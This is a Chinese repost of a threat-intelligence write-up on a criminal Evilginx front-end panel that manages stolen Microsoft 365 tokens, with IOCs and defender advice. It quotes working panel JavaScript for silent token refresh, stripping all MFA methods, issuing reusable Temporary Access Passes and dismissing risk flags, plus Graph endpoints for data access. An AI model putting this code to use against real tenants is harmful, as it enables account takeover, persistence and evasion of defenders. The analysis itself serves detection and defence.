文章总结: 该文档披露了一种新型Evilginx前端面板,专门用于窃取和管理Microsoft365账户的bearer令牌。工具具备高度仿真的Outlook界面,可自动从EvilginxProfeedAPI导入令牌,并支持令牌刷新、数据库导出等功能。关键发现包括其三层攻击架构、90天令牌持久化机制及通过单一令牌访问邮件、文件、Teams等全部M365服务的风险。建议企业加强令牌监控并实施多因素认证。 综合评分: 85 文章分类: 渗透测试,威胁情报,红队,漏洞分析,安全工具
新型 Evilginx 前端:降低 token 窃取与复用的门槛
Newton Paul Newton Paul
securitainment
2026年5月23日 10:24 中国澳门
在小说阅读器读本章
去阅读
| 原文链接 | 作者 | | — | — | | https://newtonpaul.com/blog/evilginx-m365-aitm-panel-research/ | Newton Paul |
最近我在威胁狩猎方面收获颇丰,在 C2 狩猎、钓鱼狩猎之间来回切换,并且在将工具迁移到新基础设施后重新启动了我的 NPM 恶意包狩猎工作。有意思的是,最近几天我观察到基础的、由 AI 生成的 NPM 恶意软件大幅增加,我怀疑这种势头还会持续上升。Team PCP 推出了悬赏入侵 NPM 包的竞赛,这很可能会加剧这一趋势,因为更多的攻击者被激励去针对这个生态系统。我已经在 newtonpaul.com/npm-packages/ 上发布了一些近期的 NPM 发现,后续还会有更多内容。
进入今天的正题!
用于 Microsoft 365 账户接管的全新 Evilginx 面板
在持续狩猎野外 C2 的过程中,我偶然发现了一个托管在 DigitalOcean 基础设施上的有趣目标。乍一看它就像一个暴露在外的 Outlook Web 邮箱,差点把我骗过去,但很快就明显看出它远不止于此 —— 尤其是当我正在追踪 Evilginx 基础设施的时候。
这套工具有意思的地方在于其 UI 上所投入的精力,目的是让操作者的使用体验与真实的 Microsoft 界面如出一辙。该工具将 Microsoft 365 的身份认证功能利用到了极致以实现最大影响,同时为操作者保持简洁的使用体验:一个被窃取的 bearer 令牌即可通过统一的 API 接口在一个干净的 UI 中同时访问受害者有权限的每一个 M365 服务 —— 邮件、文件、Teams、SharePoint、管理功能。
仿照 Outlook Web App 风格设计的 M365 AiTM 面板主界面
面板主界面 —— 一个像素级还原的 Outlook 克隆,用于大规模管理被盗账户
让我们深入了解细节。
发现
我们识别出三台 DigitalOcean 实例,均位于 Santa Clara, California 区域(ASN 14061),在 3000 端口上提供完全相同的内容:
142.93.84.22:3000 — First seen 2026-05-15 (active)
147.182.224.35:3000 — First seen 2026-04-22
64.227.54.101:3000 — First seen earlier
这三台主机返回完全相同的 HTTP 响应头,内容长度均为 338,882 字节—— 即完整的单文件面板 HTML/JS 应用程序。这是一个一致的指纹特征。
HTTP/1.1 200 OK
Content-Length: 338882
Content-Type: text/html; charset=utf-8
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
通配符 Access-Control-Allow-Origin: *与允许头部中的 Authorization相结合,是一个重要的指示信号 —— 这种刻意宽松的配置是为了支持面板的 Graph API 代理功能。
其中一个 IP 还托管了域名 cdn.greenrlse.com,该域名会重定向到一个 YouTube Rickroll 视频。我最初以为这个工具可能是一个意外暴露的红队工具,但 Rick 的出现表明它更有可能出自恶意攻击者之手。还有几个迹象进一步证实了这是一个威胁攻击者工具,而非红队部署:
-
面板的添加账户工作流中明确写着:“Token from Telegram notification”—— 合法的红队人员不会通过 Telegram 机器人接收令牌
-
90 天的服务端令牌保活机制并不是红队交付项目所具备的特性 —— 交付项目通常不会持续 90 天(在大多数情况下)
-
.m365db令牌数据库导出功能意味着在不同操作者之间具备可移植性,这与犯罪生态中的令牌买卖或共享行为一致
-
在 DigitalOcean 上托管三台地理分布式的完全相同的实例,也不像是红队的典型行为
架构:三层如何相互连接
此面板是三层攻击链中的一个组件。钓鱼基础设施与操作者面板是分离的 —— 此处识别出的三个 DigitalOcean IP 并非受害者交互的钓鱼服务器。
展示三层 AiTM 攻击链的示意图:Evilginx 钓鱼服务器、操作员面板,以及 Microsoft Graph API
三层 AiTM 攻击链 —— Evilginx 在上游捕获令牌,面板负责管理令牌,Graph API 提供访问接口
它是什么
该面板是一个单文件 HTML/JavaScript 应用程序,以像素级精度仿冒 Microsoft Outlook 网页客户端,仅有少量改动。需要明确的是,UI 并非用于欺骗受害者。这个伪造的 Outlook UI 为大规模浏览和操作被盗的 Microsoft 365 账户提供了一个熟悉的界面。
面板加载数据库文件的屏幕截图
Outlook UI 变体,展示令牌的加载与卸载。
在 Outlook 外观之下,该应用程序是一个完整的 Microsoft Graph API 客户端,它使用被盗的 bearer 令牌进行身份验证,而非合法的用户会话。
Evilginx 集成:Feed API
最具技术亮点的功能是与 Evilginx Pro feed API 的原生集成 —— 这是 Evilginx 商业版独有的功能,开源版本中并不存在。这意味着操作者要么合法地通过了 Evilginx Pro 的人工审核流程、随后将其用于犯罪用途,要么是通过二级渠道获取了授权许可。
该面板会按照可配置的时间间隔(15 秒到 5 分钟)轮询 feed 接口,并在新捕获的 token 从正在进行的钓鱼活动中到达时自动导入。从操作者的视角来看,受害者账号会在受害者完成钓鱼流程的瞬间实时出现。
https://<evilginx-server>/api/v1/feed?key=<api_key>
我们可以在下方截图的 UI 中看到这一点。
Evilginx feed API 配置面板,显示了接口 URL 与轮询时间间隔设置
Evilginx Pro feed API 配置 —— 该面板按照可配置的时间间隔轮询新 token
AiTM 捕获层与后渗透管理层之间的这种耦合,代表着工具链的一次成熟化。以往,操作者需要手动从 Evilginx 中提取 token,再导入到独立的工具中。而这个面板则将这一断层弥合为单一且无缝的工作流。
token 生命周期管理
一旦导入,该面板便会通过若干机制来管理 token 的生命周期:
Refresh token 持久化—— 如果 refresh token 与 access token 一同被捕获(Evilginx 在条件允许时会一并捕获),面板会在后台静默续签 access token。这样便可在无需对受害者再次钓鱼的情况下无限期地维持访问权限。
CORS 代理绕过—— 浏览器直连 Microsoft 的 token 刷新调用会被 CORS 策略阻断。面板附带了一个名为 refresh-proxy.js的辅助脚本,该脚本在本地运行以中继刷新请求,从而绕过这一浏览器限制。
数据库可移植性—— 所有已捕获的账号和 token 都可以导出为 .m365db文件(JSON 格式),并可重新导入到该面板的任意其他实例中。这一机制方便了操作者之间共享或贩卖 token,与犯罪 Telegram 频道中观察到的 token 交易市场生态一致。
我们可以在代码中看到 Microsoft Office 的 Client ID,这是一款 FOCI 应用 —— 也是 token 刷新过程中所默认使用的:
const MS_CLIENT_ID = 'd3590ed6-52b3-4102-aeff-aad2292ab01c';
具体实现如下,这里会为该应用请求 refresh token:
constbody=newURLSearchParams({
client_id:clientId,
grant_type:'refresh_token',
refresh_token:acc.refreshToken,
scope:'https://graph.microsoft.com/.default offline_access'
});
constresp=awaitfetch(
`https://login.microsoftonline.com/${tenant}/oauth2/v2.0/token`,
{
method:'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body:body.toString()
}
);
accounts[idx].accessToken=data.access_token;
if (data.refresh_token) {
accounts[idx].refreshToken=data.refresh_token;
}
accounts[idx].tokenRefreshedAt=newDate().toISOString();
此外还提供了一个用以覆盖该默认值的选项 —— 可以为每个账号单独设置 Client ID,从而允许使用其他应用所对应的 refresh token。这考虑到了 Evilginx 在 token 捕获行为上的差异。
asyncfunctionrefreshToken(idx) {
constacc=accounts[idx];
if (!acc.refreshToken) return;
constclientId=acc.clientId||MS_CLIENT_ID;
consttenant=acc.tenantId||'common';
constproxyUrl=getRefreshProxyUrl();
try {
letdata;
if (proxyUrl) {
constresp=awaitfetch(proxyUrl, {
method:'POST',
headers: { 'Content-Type': 'application/json' },
body:JSON.stringify({
refresh_token:acc.refreshToken,
client_id:clientId,
tenant:tenant
})
});
data=awaitresp.json();
if (!resp.ok) {
thrownewError(data.error_description||data.error||'Refresh failed');
单一令牌问题:为何这件事至关重要
由于 Microsoft Graph API 身份验证的特性,单个有效的 bearer 令牌即可用于访问该用户具备权限的所有 Microsoft 365 服务。下面是该面板所使用的部分 API 端点:
graph.microsoft.com/v1.0/me/messages → Full mailbox
graph.microsoft.com/v1.0/me/drive/root → All OneDrive files
graph.microsoft.com/v1.0/me/joinedTeams → All Teams and channels
graph.microsoft.com/v1.0/sites → All SharePoint sites
graph.microsoft.com/v1.0/me/onenote → All OneNote notebooks
graph.microsoft.com/v1.0/me/contacts → Full contacts list
graph.microsoft.com/v1.0/me/calendar → Calendar and events
graph.microsoft.com/v1.0/users → Tenant user directory (if admin)
graph.microsoft.com/v1.0/auditLogs → Audit logs (if admin)
完整的工具面板如下所示。
面板应用启动器,显示所有可用 M365 服务跳转入口的图标,包括 Outlook、OneDrive、Teams 和 Admin Center
面板应用启动器 —— 每个图标都是通往不同 Microsoft 365 数据源的实时跳转入口,全部由同一个 bearer 令牌提供支持
| 面板功能 | Graph API 接口 | 数据风险 |
| — | — | — |
| Outlook | /me/messages , /me/mailFolders | 全部邮件、附件、收件箱规则 |
| OneDrive | /me/drive | 全部文件、文档、备份 |
| SharePoint | /sites | 团队站点、文档库 |
| Teams | /me/joinedTeams , /chats | 消息、共享文件、会议录制内容 |
| OneNote | /me/onenote/notebooks | 笔记,常常包含密码和密钥 |
| Contacts | /me/contacts | 完整通讯录 |
| Calendar | /me/calendarView | 会议、地点、与会者 |
| My Account | /me/authentication/methods | MFA 配置 |
| Admin Center | /users , /auditLogs, /subscribedSkus | 整个租户(若为管理员令牌) |
凭借一个被窃取的 Graph API bearer 令牌,上述所有内容都可以通过直接的 API 调用进行访问。当操作者在 Outlook 风格的 UI 中浏览时,该面板会在后台静默发起这些调用。从 Microsoft 的视角来看,这就像一个经过合法身份验证的应用程序代表用户访问数据。
管理员令牌场景
如果被钓鱼的受害者持有特权 Entra ID 角色 —— 例如 Global Administrator、Exchange Administrator 或类似角色 —— 影响范围将扩展至整个租户。在导入令牌时,面板会通过查询受害者的角色成员身份自动检测这一情况:
GET /me/memberOf/microsoft.graph.directoryRole
如果检测到管理员角色,将显示一个 “Admin” 徽章,并解锁完整的管理员面板 —— 暴露租户中的每一位用户、他们分配的许可证、登录活动、风险用户标记、审计日志以及 MFA 配置。
下图展示了用户账户的详细信息。
账户详情视图,显示已被攻陷账户的角色分配、MFA 方法和风险用户状态
账户详情视图 —— 在同一个面板中呈现角色成员身份、MFA 方法以及 Entra ID 风险状态
入侵后能力
邮件访问
对受害者邮箱的所有文件夹拥有完整的读写访问权限,支持搜索、过滤和附件下载。可以通过 Graph API 直接以受害者账户身份发送邮件。
收件箱规则创建
该面板包含完整的收件箱规则管理界面。攻击者可以创建规则以静默转发邮件、删除特定消息或移动内容。
MFA 操控
对于拥有足够权限的账户,该面板可以枚举所有已注册的身份验证方法、移除现有的 MFA 方法,并签发临时访问通行证(Temporary Access Pass,TAP) —— 这是 Microsoft 的一项合法功能,可被滥用以在剥离 MFA 后建立持久的后门访问。
身份操作
为受管用户重置密码、移除设备注册以及分配目录角色 —— 所有这些操作均通过使用受害者管理员令牌的 Graph API 调用完成。
OneDrive 与 SharePoint
完整的文件浏览器,支持在 OneDrive 和可访问的 SharePoint 站点中进行上传、下载和删除,包括文件夹创建和配额检查。
代码简览
在代码中我们可以看到 emoji 的使用 —— 这是该工具经过 AI 辅助开发的迹象。下面的示例展示了 UI 中的身份验证方法和风险状态功能。
// ── MFA TAB: authentication methods & risky status ───────────────────────────
asyncfunctionloadUserMfa(userId) {
constel=document.getElementById('udMfaContent');
el.innerHTML='<p style="color:var(--text-muted);text-align:center;padding:20px">Loading MFA info...</p>';
try {
const [methods, risky] =awaitPromise.all([
graphApi(`/users/${userId}/authentication/methods`, currentAccountIdx).catch(() => ({value:[]})),
graphApi(`/identityProtection/riskyUsers?$filter=id eq '${userId}'`, currentAccountIdx).catch(() => ({value:[]}))
]);
constauthMethods=methods.value|| [];
constriskyUser=risky.value?.[0];
constmethodIcons= {
'#microsoft.graph.passwordAuthenticationMethod': '🔑 Password',
'#microsoft.graph.microsoftAuthenticatorAuthenticationMethod': '📱 Authenticator App',
'#microsoft.graph.phoneAuthenticationMethod': '📞 Phone (SMS/Call)',
'#microsoft.graph.fido2AuthenticationMethod': '🔐 FIDO2 Security Key',
'#microsoft.graph.windowsHelloForBusinessAuthenticationMethod': '🖥 Windows Hello',
'#microsoft.graph.softwareOathAuthenticationMethod': '🕐 TOTP App',
'#microsoft.graph.emailAuthenticationMethod': '📧 Email OTP',
'#microsoft.graph.temporaryAccessPassAuthenticationMethod': '🎟 Temporary Access Pass',
};
el.innerHTML=`
<h4 style="margin-bottom:12px">Authentication Methods (${authMethods.length})</h4>
${authMethods.length?`<div class="item-list">
${authMethods.map(m=>`
<div class="perm-item">
<span>${methodIcons[m['@odata.type']] ||escHtml(m['@odata.type']?.replace('#microsoft.graph.','') ||'—')}</span>
<button class="btn-danger" style="padding:4px 10px;font-size:12px" onclick="removeMfaMethod('${userId}','${m.id}','${m['@odata.type']}')">Remove</button>
</div>`).join('')}
</div>`:'<p style="color:var(--text-muted);font-size:13px">No authentication methods found (may need AzureAD P1/P2 license)</p>'}
在下面的代码片段中,我们可以看到从用户账户中移除 MFA、创建 TAP 以及消除风险用户事件的代码。这真正展示了 UI 的功能和开发经过了精心的设计与思考。
NewEvilginxPanelfor Microsoft 365 Account Takeoverconst path = pathMap[endpoint] || endpoint + 's';
try {
await graphApi(`/users/${userId}/authentication/${path}/${methodId}`, currentAccountIdx, 'DELETE');
toast('MFA method removed', 'success');
loadUserMfa(userId);
} catch(e) { toast('Failed: '+e.message, 'error'); }
}
asyncfunctionresetUserMfa(userId) {
if (!confirm('Remove ALL MFA methods for this user? They will need to re-register.')) return;
try {
constmethods=awaitgraphApi(`/users/${userId}/authentication/methods`, currentAccountIdx);
for (constmofmethods.value|| []) {
if (m['@odata.type'] ==='#microsoft.graph.passwordAuthenticationMethod') continue;
constendpoint=m['@odata.type'].replace('#microsoft.graph.', '').replace('AuthenticationMethod', '');
constpathMap= { microsoftAuthenticator:'microsoftAuthenticatorMethods', phone:'phoneMethods', fido2:'fido2Methods', softwareOath:'softwareOathMethods', email:'emailMethods', temporaryAccessPass:'temporaryAccessPassMethods' };
constpath=pathMap[endpoint] ||endpoint+'s';
awaitgraphApi(`/users/${userId}/authentication/${path}/${m.id}`, currentAccountIdx, 'DELETE').catch(() => {});
}
toast('All MFA methods cleared', 'success');
loadUserMfa(userId);
} catch(e) { toast('Failed: '+e.message, 'error'); }
}
asyncfunctionissueTap(userId) {
try {
constdata=awaitgraphApi(`/users/${userId}/authentication/temporaryAccessPassMethods`, currentAccountIdx, 'POST', {
isUsableOnce:false,
lifetimeInMinutes:60
});
alert(`Temporary Access Pass: ${data.temporaryAccessPass}\nExpires in 60 minutes. Use this to sign in once and set up MFA.`);
} catch(e) { toast('Failed to issue TAP: '+e.message, 'error'); }
}
asyncfunctiondismissRiskyUser(userId) {
try {
awaitgraphApi('/identityProtection/riskyUsers/dismiss', currentAccountIdx, 'POST', {
userIds: [userId]
});
toast('Risk dismissed', 'success');
loadUserMfa(userId);
} catch(e) { toast('Failed: '+e.message, 'error'); }
}
最高严重性能力
按影响力排序:
-
角色分配
—— 将任意用户提升为 Global Admin
-
重置所有 MFA + 颁发可重用的 TAP
—— 永久的持久化访问后门
-
忽略风险用户
—— 主动清除防御方的检测信号
-
管理员邮箱冒充
—— 将任意租户用户的邮箱添加为面板账户
-
封锁用户
—— 将受害者锁定在其自己的账户之外
-
静默转发规则
—— 持久化的 BEC 数据外泄
-
完整邮箱导出
—— 从整个邮箱历史中提取所有电子邮件地址
-
设备移除
—— 移除合规设备,可能破坏 Conditional Access
-
密码重置
—— 接管租户中的任意账户
-
授予 FullAccess 邮箱权限
—— 将任意邮箱委派给攻击者控制的账户
结论
对我来说,这是一项非常有趣的发现 —— 一款经过精心开发的工具,在功能和 UI 上投入了大量心思。其功能的质量和广度表明该工具背后可能存在商业利益驱动。从历史上看,威胁行为者会使用 Evilginx 捕获令牌,然后手动将其导入其他工具,或编写自定义脚本来与不同的 Graph API 端点交互。该面板将所有这些过程抽象掉,转而为操作者提供一个简洁、熟悉的 UI。这降低了攻陷后令牌滥用的技术准入门槛,并使技术水平较低的威胁行为者能够最大化其令牌钓鱼活动的影响。
给防御方的建议
我在其他文章中提到的检测和控制措施可以帮助防御令牌重放。实施 Conditional Access 以及针对可疑 Graph API 活动和令牌重放尝试的检测,能够帮助检测和预防这些技术。更多详情可在下方的 hunts 中找到。
- Hunt-2025-034 —— Entra 令牌重放检测
- Hunt-2025-035 —— 可疑的 Graph API 枚举
- Hunt-2025-038 —— 通过 Graph API 进行的 MFA 操纵
失陷指标
| 类型 | 值 | 备注 |
| — | — | — |
| IP | 142.93.84.22 | 截至 2026-05-15 仍处于活动状态,端口 3000 |
| IP | 147.182.224.35 | 端口 3000,首次发现于 2026-04-22 |
| IP | 64.227.54.101 | 端口 3000 |
| Domain | cdn.greenrlse.com | Rickroll 转向,相同的基础设施 |
| ASN | 14061 | DigitalOcean,圣克拉拉 |
| HTTP | Content-Length: 338882 | 面板内容指纹 |
免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:securitainment Newton Paul Newton Paul《新型 Evilginx 前端:降低 token 窃取与复用的门槛》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论